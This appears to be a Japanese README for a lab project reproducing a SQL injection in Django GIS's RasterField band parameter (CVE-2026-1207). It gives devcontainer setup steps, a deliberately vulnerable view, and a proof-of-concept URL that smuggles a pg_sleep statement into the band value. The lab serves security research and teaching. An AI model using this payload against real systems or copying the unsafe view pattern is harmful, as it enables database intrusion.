脆弱性タイプ: SQL インジェクション (SQL Injection)
影響コンポーネント: django.contrib.gis RasterField
Django GIS の RasterField を使用してクエリを実行する際、band パラメータが SQL 文に直接連結されるため、SQL インジェクション脆弱性が発生します。攻撃者は悪意のある band パラメータ値を構築することで、任意の SQL コードを注入できます。
CVE-2026-1207/
├── .devcontainer/ # VSCode DevContainer 設定
├── .vscode/ # VSCode 設定
├── vuln/ # 脆弱性デモアプリ
│ ├── models.py # RasterField を含むモデル
│ ├── views.py # 脆弱性トリガーポイント
│ └── migrations/ # データベースマイグレーションファイル
├── web/ # Django プロジェクト設定
├── manage.py
├── README.md
この脆弱性プロジェクトは VSCode の devcontainer を使用して構築します。
VS Code で既存のプロジェクトルートディレクトリ(.devcontainer フォルダを含む)を開きます。
Ctrl+Shift+P(Windows/Linux)または Cmd+Shift+P(Mac)を押します
Remote-Containers: Reopen in Container と入力します
VS Code が .devcontainer 設定を読み取り、コンテナを構築します(初回構築には数分かかる場合があります)
⚠️ Dockerfile または依存関係が更新された場合は、Remote-Containers: Rebuild Container を選択して、最新の環境を使用していることを確認してください。
コマンドパレット Ctrl+Shift+P を開きます
Tasks: Run Task と入力します
django:start を選択します(タスクは .vscode/tasks.json で設定済み)
このタスクはコンテナ内で Django 開発サーバーを起動します
デフォルトで 0.0.0.0:8087 をリッスンします
ブラウザで以下にアクセスします:
http://localhost:8087
初回実行時はデータベースマイグレーションの実行が必要な場合があります:
python manage.py migrate
脆弱性分析の詳細は以下に掲載されています 先知https://xz.aliyun.com/news/91993
以下の URL にアクセスして SQL インジェクションをトリガーします:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
応答時間を観察します。通常のリクエストは即座に応答するはずですが、インジェクションリクエストは約 3 秒遅延します。
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← フィルタリングされていないユーザー入力
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band がクエリに直接渡される
print(qs.query) # ← 生成された SQL を確認
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
このプロジェクトはセキュリティ研究および教育目的のみで提供されています。許可のないシステムで使用しないでください。